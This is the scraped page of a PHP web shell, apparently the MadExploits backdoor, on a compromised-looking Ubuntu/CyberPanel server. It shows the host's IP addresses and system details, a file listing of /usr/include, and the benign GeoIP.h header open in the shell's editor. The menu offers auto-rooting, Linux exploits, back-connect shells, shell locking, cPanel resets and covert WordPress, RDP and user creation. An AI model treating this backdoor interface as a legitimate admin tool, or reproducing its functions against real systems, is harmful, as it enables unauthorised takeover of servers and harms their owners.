Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
arpa
[ DIR ]
drwxr-xr-x
asm-generic
[ DIR ]
drwxr-xr-x
attr
[ DIR ]
drwxr-xr-x
c++
[ DIR ]
drwxr-xr-x
drm
[ DIR ]
drwxr-xr-x
et
[ DIR ]
drwxr-xr-x
finclude
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
gnutls
[ DIR ]
drwxr-xr-x
gssapi
[ DIR ]
drwxr-xr-x
gssrpc
[ DIR ]
drwxr-xr-x
iproute2
[ DIR ]
drwxr-xr-x
kadm5
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
libdmmp
[ DIR ]
drwxr-xr-x
libltdl
[ DIR ]
drwxr-xr-x
librtmp
[ DIR ]
drwxr-xr-x
linux
[ DIR ]
drwxr-xr-x
lzma
[ DIR ]
drwxr-xr-x
mariadb
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
mit-krb5
[ DIR ]
drwxr-xr-x
mtd
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
netash
[ DIR ]
drwxr-xr-x
netatalk
[ DIR ]
drwxr-xr-x
netax25
[ DIR ]
drwxr-xr-x
neteconet
[ DIR ]
drwxr-xr-x
netinet
[ DIR ]
drwxr-xr-x
netipx
[ DIR ]
drwxr-xr-x
netiucv
[ DIR ]
drwxr-xr-x
netpacket
[ DIR ]
drwxr-xr-x
netrom
[ DIR ]
drwxr-xr-x
netrose
[ DIR ]
drwxr-xr-x
nettle
[ DIR ]
drwxr-xr-x
nfs
[ DIR ]
drwxr-xr-x
nghttp2
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
p11-kit-1
[ DIR ]
drwxr-xr-x
protocols
[ DIR ]
drwxr-xr-x
python3.10
[ DIR ]
drwxr-xr-x
rdma
[ DIR ]
drwxr-xr-x
rpc
[ DIR ]
drwxr-xr-x
rpcsvc
[ DIR ]
drwxr-xr-x
sasl
[ DIR ]
drwxr-xr-x
scsi
[ DIR ]
drwxr-xr-x
sound
[ DIR ]
drwxr-xr-x
tirpc
[ DIR ]
drwxr-xr-x
video
[ DIR ]
drwxr-xr-x
x86_64-linux-gnu
[ DIR ]
drwxr-xr-x
xen
[ DIR ]
drwxr-xr-x
xfs
[ DIR ]
drwxr-xr-x
GeoIP.h
17.42
KB
-rw-r--r--
GeoIPCity.h
2.24
KB
-rw-r--r--
aio.h
7.56
KB
-rw-r--r--
aliases.h
1.98
KB
-rw-r--r--
alloca.h
1.17
KB
-rw-r--r--
ar.h
1.69
KB
-rw-r--r--
argp.h
24.95
KB
-rw-r--r--
argz.h
5.91
KB
-rw-r--r--
assert.h
4.53
KB
-rw-r--r--
assuan.h
25.46
KB
-rw-r--r--
byteswap.h
1.42
KB
-rw-r--r--
com_err.h
2.07
KB
-rw-r--r--
complex.h
7.95
KB
-rw-r--r--
cpio.h
2.21
KB
-rw-r--r--
crypt.h
10.87
KB
-rw-r--r--
ctype.h
10.71
KB
-rw-r--r--
dirent.h
12.22
KB
-rw-r--r--
dlfcn.h
8.17
KB
-rw-r--r--
elf.h
179.98
KB
-rw-r--r--
endian.h
2.25
KB
-rw-r--r--
envz.h
2.8
KB
-rw-r--r--
err.h
2.29
KB
-rw-r--r--
errno.h
1.64
KB
-rw-r--r--
error.h
2.36
KB
-rw-r--r--
execinfo.h
1.49
KB
-rw-r--r--
expat.h
42.68
KB
-rw-r--r--
expat_external.h
5.89
KB
-rw-r--r--
fcntl.h
9.89
KB
-rw-r--r--
features-time64.h
1.38
KB
-rw-r--r--
features.h
17.44
KB
-rw-r--r--
fenv.h
5.65
KB
-rw-r--r--
fmtmsg.h
3.16
KB
-rw-r--r--
fnmatch.h
2.24
KB
-rw-r--r--
fstab.h
3.04
KB
-rw-r--r--
fts.h
9.35
KB
-rw-r--r--
ftw.h
6.19
KB
-rw-r--r--
gawkapi.h
39.69
KB
-rw-r--r--
gconv.h
4.11
KB
-rw-r--r--
gcrypt.h
70.44
KB
-rw-r--r--
getopt.h
1.43
KB
-rw-r--r--
glob.h
7.13
KB
-rw-r--r--
gmpxx.h
126.09
KB
-rw-r--r--
gnu-versions.h
2.29
KB
-rw-r--r--
gnumake.h
2.84
KB
-rw-r--r--
gpgme.h
92.48
KB
-rw-r--r--
grp.h
6.53
KB
-rw-r--r--
gshadow.h
4.42
KB
-rw-r--r--
gssapi.h
181
B
-rw-r--r--
iconv.h
1.81
KB
-rw-r--r--
idn2.h
13.75
KB
-rw-r--r--
ifaddrs.h
2.77
KB
-rw-r--r--
inttypes.h
8.14
KB
-rw-r--r--
kdb.h
67.59
KB
-rw-r--r--
krb5.h
402
B
-rw-r--r--
langinfo.h
17.43
KB
-rw-r--r--
lastlog.h
126
B
-rw-r--r--
lber.h
15.12
KB
-rw-r--r--
lber_types.h
1.43
KB
-rw-r--r--
ldap.h
72.36
KB
-rw-r--r--
ldap_cdefs.h
9.24
KB
-rw-r--r--
ldap_features.h
1.55
KB
-rw-r--r--
ldap_schema.h
9.23
KB
-rw-r--r--
ldap_utf8.h
3.39
KB
-rw-r--r--
ldif.h
4.68
KB
-rw-r--r--
libgen.h
1.35
KB
-rw-r--r--
libintl.h
4.47
KB
-rw-r--r--
libpsl.h
5.66
KB
-rw-r--r--
libtasn1.h
17.64
KB
-rw-r--r--
limits.h
5.57
KB
-rw-r--r--
link.h
7.62
KB
-rw-r--r--
locale.h
7.5
KB
-rw-r--r--
ltdl.h
5.58
KB
-rw-r--r--
lzma.h
9.63
KB
-rw-r--r--
malloc.h
5.84
KB
-rw-r--r--
math.h
48.7
KB
-rw-r--r--
mcheck.h
2.38
KB
-rw-r--r--
memory.h
956
B
-rw-r--r--
mntent.h
3.28
KB
-rw-r--r--
monetary.h
1.92
KB
-rw-r--r--
mpath_cmd.h
4.06
KB
-rw-r--r--
mpath_persist.h
11.22
KB
-rw-r--r--
mqueue.h
4.5
KB
-rw-r--r--
netdb.h
27.79
KB
-rw-r--r--
nl_types.h
1.71
KB
-rw-r--r--
nss.h
14.07
KB
-rw-r--r--
obstack.h
20.81
KB
-rw-r--r--
openldap.h
964
B
-rw-r--r--
paths.h
2.91
KB
-rw-r--r--
pcre.h
30.96
KB
-rw-r--r--
pcre_scanner.h
6.45
KB
-rw-r--r--
pcre_stringpiece.h
6.16
KB
-rw-r--r--
pcrecpp.h
26.02
KB
-rw-r--r--
pcrecpparg.h
6.62
KB
-rw-r--r--
pcreposix.h
5.5
KB
-rw-r--r--
poll.h
22
B
-rw-r--r--
printf.h
6.71
KB
-rw-r--r--
proc_service.h
3.4
KB
-rw-r--r--
profile.h
11.87
KB
-rw-r--r--
pthread.h
47.24
KB
-rw-r--r--
pty.h
1.53
KB
-rw-r--r--
pwd.h
6.17
KB
-rw-r--r--
re_comp.h
963
B
-rw-r--r--
regex.h
25.3
KB
-rw-r--r--
regexp.h
1.35
KB
-rw-r--r--
resolv.h
11.96
KB
-rw-r--r--
sched.h
4.92
KB
-rw-r--r--
search.h
5.32
KB
-rw-r--r--
semaphore.h
3.38
KB
-rw-r--r--
setjmp.h
3.12
KB
-rw-r--r--
sgtty.h
1.31
KB
-rw-r--r--
shadow.h
5.34
KB
-rw-r--r--
signal.h
12.73
KB
-rw-r--r--
spawn.h
8.08
KB
-rw-r--r--
stab.h
264
B
-rw-r--r--
stdc-predef.h
2.4
KB
-rw-r--r--
stdint.h
8.28
KB
-rw-r--r--
stdio.h
30.45
KB
-rw-r--r--
stdio_ext.h
2.73
KB
-rw-r--r--
stdlib.h
35.54
KB
-rw-r--r--
string.h
19
KB
-rw-r--r--
strings.h
4.64
KB
-rw-r--r--
sudo_plugin.h
11.64
KB
-rw-r--r--
syscall.h
25
B
-rw-r--r--
sysexits.h
5.11
KB
-rw-r--r--
syslog.h
24
B
-rw-r--r--
tar.h
3.66
KB
-rw-r--r--
termio.h
214
B
-rw-r--r--
termios.h
3.51
KB
-rw-r--r--
tgmath.h
43.61
KB
-rw-r--r--
thread_db.h
15.65
KB
-rw-r--r--
threads.h
7.51
KB
-rw-r--r--
time.h
14.49
KB
-rw-r--r--
ttyent.h
2.44
KB
-rw-r--r--
uchar.h
1.96
KB
-rw-r--r--
ucontext.h
1.99
KB
-rw-r--r--
udns.h
26.61
KB
-rw-r--r--
ulimit.h
1.55
KB
-rw-r--r--
unistd.h
43.91
KB
-rw-r--r--
utime.h
1.86
KB
-rw-r--r--
utmp.h
3.15
KB
-rw-r--r--
utmpx.h
4
KB
-rw-r--r--
values.h
1.91
KB
-rw-r--r--
wait.h
22
B
-rw-r--r--
wchar.h
31.05
KB
-rw-r--r--
wctype.h
5.42
KB
-rw-r--r--
wordexp.h
2.44
KB
-rw-r--r--
zconf.h
15.88
KB
-rw-r--r--
zlib.h
94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GeoIP.h
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 2; tab-width: 2 -*- */ /* GeoIP.h * * Copyright (C) 2016 MaxMind, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef GEOIP_H #define GEOIP_H #ifdef __cplusplus extern "C" { #endif #include <sys/types.h> #if !defined(_WIN32) #include <arpa/inet.h> #include <netinet/in.h> #include <sys/socket.h> #else /* !defined(_WIN32) */ #include <winsock2.h> #include <ws2tcpip.h> #define FILETIME_TO_USEC(ft) \ (((unsigned __int64)ft.dwHighDateTime << 32 | ft.dwLowDateTime) / 10) #endif /* !defined(_WIN32) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> /* for fstat */ #include <sys/types.h> /* for fstat */ #define SEGMENT_RECORD_LENGTH 3 #define LARGE_SEGMENT_RECORD_LENGTH 4 #define STANDARD_RECORD_LENGTH 3 #define ORG_RECORD_LENGTH 4 #define MAX_RECORD_LENGTH 4 #define NUM_DB_TYPES (38 + 1) /* 128 bit address in network order */ typedef struct in6_addr geoipv6_t; #define GEOIP_CHKBIT_V6(bit, ptr) \ (ptr[((127UL - bit) >> 3)] & (1UL << (~(127 - bit) & 7))) typedef struct GeoIPTag { FILE *GeoIPDatabase; char *file_path; unsigned char *cache; unsigned char *index_cache; unsigned int *databaseSegments; char databaseType; time_t mtime; int flags; off_t size; char record_length; int charset; /* 0 iso-8859-1 1 utf8 */ int record_iter; /* used in GeoIP_next_record */ int netmask; /* netmask of last lookup - set using depth in _GeoIP_seek_record */ time_t last_mtime_check; off_t dyn_seg_size; /* currently only used by the cityconfidence database */ unsigned int ext_flags; /* bit 0 teredo support enabled */ } GeoIP; typedef struct GeoIPLookup { int netmask; } GeoIPLookup; typedef enum { GEOIP_TEREDO_BIT = 0 } GeoIPExtFlags; typedef enum { GEOIP_CHARSET_ISO_8859_1 = 0, GEOIP_CHARSET_UTF8 = 1 } GeoIPCharset; typedef struct GeoIPRegionTag { char country_code[3]; char region[3]; } GeoIPRegion; typedef enum { GEOIP_STANDARD = 0, GEOIP_MEMORY_CACHE = 1, GEOIP_CHECK_CACHE = 2, GEOIP_INDEX_CACHE = 4, GEOIP_MMAP_CACHE = 8, GEOIP_SILENCE = 16, } GeoIPOptions; typedef enum { GEOIP_COUNTRY_EDITION = 1, GEOIP_REGION_EDITION_REV0 = 7, GEOIP_CITY_EDITION_REV0 = 6, GEOIP_ORG_EDITION = 5, GEOIP_ISP_EDITION = 4, GEOIP_CITY_EDITION_REV1 = 2, GEOIP_REGION_EDITION_REV1 = 3, GEOIP_PROXY_EDITION = 8, GEOIP_ASNUM_EDITION = 9, GEOIP_NETSPEED_EDITION = 10, GEOIP_DOMAIN_EDITION = 11, GEOIP_COUNTRY_EDITION_V6 = 12, GEOIP_LOCATIONA_EDITION = 13, GEOIP_ACCURACYRADIUS_EDITION = 14, GEOIP_CITYCONFIDENCE_EDITION = 15, /* unsupported */ GEOIP_CITYCONFIDENCEDIST_EDITION = 16, /* unsupported */ GEOIP_LARGE_COUNTRY_EDITION = 17, GEOIP_LARGE_COUNTRY_EDITION_V6 = 18, GEOIP_CITYCONFIDENCEDIST_ISP_ORG_EDITION = 19, /* unused, but gaps are not allowed */ GEOIP_CCM_COUNTRY_EDITION = 20, /* unused, but gaps are not allowed */ GEOIP_ASNUM_EDITION_V6 = 21, GEOIP_ISP_EDITION_V6 = 22, GEOIP_ORG_EDITION_V6 = 23, GEOIP_DOMAIN_EDITION_V6 = 24, GEOIP_LOCATIONA_EDITION_V6 = 25, GEOIP_REGISTRAR_EDITION = 26, GEOIP_REGISTRAR_EDITION_V6 = 27, GEOIP_USERTYPE_EDITION = 28, GEOIP_USERTYPE_EDITION_V6 = 29, GEOIP_CITY_EDITION_REV1_V6 = 30, GEOIP_CITY_EDITION_REV0_V6 = 31, GEOIP_NETSPEED_EDITION_REV1 = 32, GEOIP_NETSPEED_EDITION_REV1_V6 = 33, GEOIP_COUNTRYCONF_EDITION = 34, GEOIP_CITYCONF_EDITION = 35, GEOIP_REGIONCONF_EDITION = 36, GEOIP_POSTALCONF_EDITION = 37, GEOIP_ACCURACYRADIUS_EDITION_V6 = 38 } GeoIPDBTypes; typedef enum { GEOIP_ANON_PROXY = 1, GEOIP_HTTP_X_FORWARDED_FOR_PROXY = 2, GEOIP_HTTP_CLIENT_IP_PROXY = 3, } GeoIPProxyTypes; typedef enum { GEOIP_UNKNOWN_SPEED = 0, GEOIP_DIALUP_SPEED = 1, GEOIP_CABLEDSL_SPEED = 2, GEOIP_CORPORATE_SPEED = 3, } GeoIPNetspeedValues; #if defined(_WIN32) && !defined(__MINGW32__) #ifdef GEOIP_EXPORTS #define GEOIP_API __declspec(dllexport) #define GEOIP_DATA __declspec(dllexport) #else #define GEOIP_DATA __declspec(dllimport) #define GEOIP_API #endif /* GEOIP_EXPORTS */ #else #define GEOIP_API #define GEOIP_DATA #endif extern char **GeoIPDBFileName; extern GEOIP_DATA const char *GeoIPDBDescription[NUM_DB_TYPES]; extern GEOIP_DATA const char *GeoIPCountryDBFileName; extern GEOIP_DATA const char *GeoIPRegionDBFileName; extern GEOIP_DATA const char *GeoIPCityDBFileName; extern GEOIP_DATA const char *GeoIPOrgDBFileName; extern GEOIP_DATA const char *GeoIPISPDBFileName; extern GEOIP_DATA const char *GeoIPLocationADBFileName; extern GEOIP_DATA const char *GeoIPAccuracyRadiusFileName; extern GEOIP_DATA const char *GeoIPCityConfidenceFileName; extern char *GeoIP_custom_directory; /* Warning: do not use those arrays as doing so may break your * program with newer GeoIP versions */ extern GEOIP_DATA const char GeoIP_country_code[256][3]; extern GEOIP_DATA const char GeoIP_country_code3[256][4]; extern GEOIP_DATA const char *GeoIP_country_name[256]; extern GEOIP_DATA const char *GeoIP_utf8_country_name[256]; extern GEOIP_DATA const char GeoIP_country_continent[256][3]; GEOIP_API void GeoIP_setup_custom_directory(char *dir); GEOIP_API GeoIP *GeoIP_open_type(int type, int flags); GEOIP_API GeoIP *GeoIP_new(int flags); GEOIP_API GeoIP *GeoIP_open(const char *filename, int flags); /* * WARNING: GeoIP_db_avail() checks for the existence of a database * file but does not check that it has the requested database revision. * For database types which have more than one revision (including Region, * City, and Cityv6), this can lead to unexpected results. Check the * return value of GeoIP_open_type() to find out whether a particular * database type is really available. */ GEOIP_API int GeoIP_db_avail(int type); GEOIP_API void GeoIP_delete(GeoIP *gi); GEOIP_API const char * GeoIP_country_code_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code3_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code3_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_name_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_name_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_name_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); GEOIP_API const char *GeoIP_country_code3_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); /* */ GEOIP_API const char * GeoIP_country_name_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code3_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code_by_name_v6_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code3_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_code3_by_name_v6_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_name_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API const char * GeoIP_country_name_by_name_v6_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_name_v6_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API int GeoIP_id_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_name_v6_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API GeoIPRegion * GeoIP_region_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); /* Warning - don't call this after GeoIP_assign_region_by_inetaddr calls */ GEOIP_API void GeoIPRegion_delete(GeoIPRegion *gir); GEOIP_API void GeoIP_assign_region_by_inetaddr_gl(GeoIP *gi, unsigned long inetaddr, GeoIPRegion *gir, GeoIPLookup *gl); GEOIP_API void GeoIP_assign_region_by_inetaddr_v6_gl(GeoIP *gi, geoipv6_t inetaddr, GeoIPRegion *gir, GeoIPLookup *gl); /* Used to query GeoIP Organization, ISP and AS Number databases */ GEOIP_API char * GeoIP_name_by_ipnum_gl(GeoIP *gi, unsigned long ipnum, GeoIPLookup *gl); GEOIP_API char * GeoIP_name_by_addr_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API char * GeoIP_name_by_name_gl(GeoIP *gi, const char *host, GeoIPLookup *gl); GEOIP_API char * GeoIP_name_by_ipnum_v6_gl(GeoIP *gi, geoipv6_t ipnum, GeoIPLookup *gl); GEOIP_API char * GeoIP_name_by_addr_v6_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API char * GeoIP_name_by_name_v6_gl(GeoIP *gi, const char *name, GeoIPLookup *gl); /** return two letter country code */ GEOIP_API const char *GeoIP_code_by_id(int id); /** return three letter country code */ GEOIP_API const char *GeoIP_code3_by_id(int id); /** return full name of country in utf8 or iso-8859-1 */ GEOIP_API const char *GeoIP_country_name_by_id(GeoIP *gi, int id); /** return full name of country */ GEOIP_API const char *GeoIP_name_by_id(int id); /** return continent of country */ GEOIP_API const char *GeoIP_continent_by_id(int id); /** return id by country code **/ GEOIP_API int GeoIP_id_by_code(const char *country); /** return return number of known countries */ GEOIP_API unsigned GeoIP_num_countries(void); GEOIP_API char *GeoIP_database_info(GeoIP *gi); GEOIP_API unsigned char GeoIP_database_edition(GeoIP *gi); GEOIP_API int GeoIP_charset(GeoIP *gi); GEOIP_API int GeoIP_set_charset(GeoIP *gi, int charset); GEOIP_API int GeoIP_enable_teredo(GeoIP *gi, int true_false); GEOIP_API int GeoIP_teredo(GeoIP *gi); GEOIP_API char ** GeoIP_range_by_ip_gl(GeoIP *gi, const char *addr, GeoIPLookup *gl); GEOIP_API void GeoIP_range_by_ip_delete(char **ptr); /* Convert region code to region name */ GEOIP_API const char *GeoIP_region_name_by_code(const char *country_code, const char *region_code); /* Get timezone from country and region code */ GEOIP_API const char * GeoIP_time_zone_by_country_and_region(const char *country_code, const char *region_code); /* some v4 helper functions as of 1.4.7 exported to the public API */ GEOIP_API unsigned long GeoIP_addr_to_num(const char *addr); GEOIP_API char *GeoIP_num_to_addr(unsigned long ipnum); /* Internal function -- convert iso to utf8; return a malloced utf8 string. */ char *_GeoIP_iso_8859_1__utf8(const char *iso); /* Cleans up memory used to hold file name paths. Returns 1 if successful; * otherwise 0. * */ GEOIP_API int GeoIP_cleanup(void); /* Returns the library version in use. Helpful if you're loading dynamically. */ GEOIP_API const char *GeoIP_lib_version(void); /* deprecated */ GEOIP_API const char *GeoIP_country_code_by_addr(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_code_by_name(GeoIP *gi, const char *host); GEOIP_API const char *GeoIP_country_code3_by_addr(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_code3_by_name(GeoIP *gi, const char *host); GEOIP_API const char *GeoIP_country_name_by_addr(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_name_by_name(GeoIP *gi, const char *host); GEOIP_API const char *GeoIP_country_name_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API const char *GeoIP_country_code_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API const char *GeoIP_country_code3_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API const char *GeoIP_country_name_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API const char *GeoIP_country_code_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API const char *GeoIP_country_code3_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API const char *GeoIP_country_code_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_code_by_name_v6(GeoIP *gi, const char *host); GEOIP_API const char *GeoIP_country_code3_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_code3_by_name_v6(GeoIP *gi, const char *host); GEOIP_API const char *GeoIP_country_name_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API const char *GeoIP_country_name_by_name_v6(GeoIP *gi, const char *host); GEOIP_API int GeoIP_id_by_addr(GeoIP *gi, const char *addr); GEOIP_API int GeoIP_id_by_name(GeoIP *gi, const char *host); GEOIP_API int GeoIP_id_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API int GeoIP_id_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API int GeoIP_id_by_name_v6(GeoIP *gi, const char *host); GEOIP_API int GeoIP_id_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API GeoIPRegion *GeoIP_region_by_addr(GeoIP *gi, const char *addr); GEOIP_API GeoIPRegion *GeoIP_region_by_name(GeoIP *gi, const char *host); GEOIP_API GeoIPRegion *GeoIP_region_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API GeoIPRegion *GeoIP_region_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API GeoIPRegion *GeoIP_region_by_name_v6(GeoIP *gi, const char *host); GEOIP_API GeoIPRegion *GeoIP_region_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API void GeoIP_assign_region_by_inetaddr(GeoIP *gi, unsigned long inetaddr, GeoIPRegion *gir); GEOIP_API void GeoIP_assign_region_by_inetaddr_v6(GeoIP *gi, geoipv6_t inetaddr, GeoIPRegion *gir); GEOIP_API char *GeoIP_name_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API char *GeoIP_name_by_addr(GeoIP *gi, const char *addr); GEOIP_API char *GeoIP_name_by_name(GeoIP *gi, const char *host); GEOIP_API char *GeoIP_name_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API char *GeoIP_name_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API char *GeoIP_name_by_name_v6(GeoIP *gi, const char *name); /** GeoIP_last_netmask is deprecated - it is not thread safe */ GEOIP_API int GeoIP_last_netmask(GeoIP *gi); GEOIP_API char **GeoIP_range_by_ip(GeoIP *gi, const char *addr); /* Deprecated - for backwards compatibility only */ GEOIP_API int GeoIP_country_id_by_addr(GeoIP *gi, const char *addr); GEOIP_API int GeoIP_country_id_by_name(GeoIP *gi, const char *host); GEOIP_API char *GeoIP_org_by_addr(GeoIP *gi, const char *addr); GEOIP_API char *GeoIP_org_by_name(GeoIP *gi, const char *host); GEOIP_API char *GeoIP_org_by_ipnum(GeoIP *gi, unsigned long ipnum); GEOIP_API int GeoIP_country_id_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API char *GeoIP_org_by_ipnum_v6(GeoIP *gi, geoipv6_t ipnum); GEOIP_API char *GeoIP_org_by_addr_v6(GeoIP *gi, const char *addr); GEOIP_API char *GeoIP_org_by_name_v6(GeoIP *gi, const char *name); /* End deprecated */ # #ifdef __cplusplus } #endif #endif /* GEOIP_H */
Close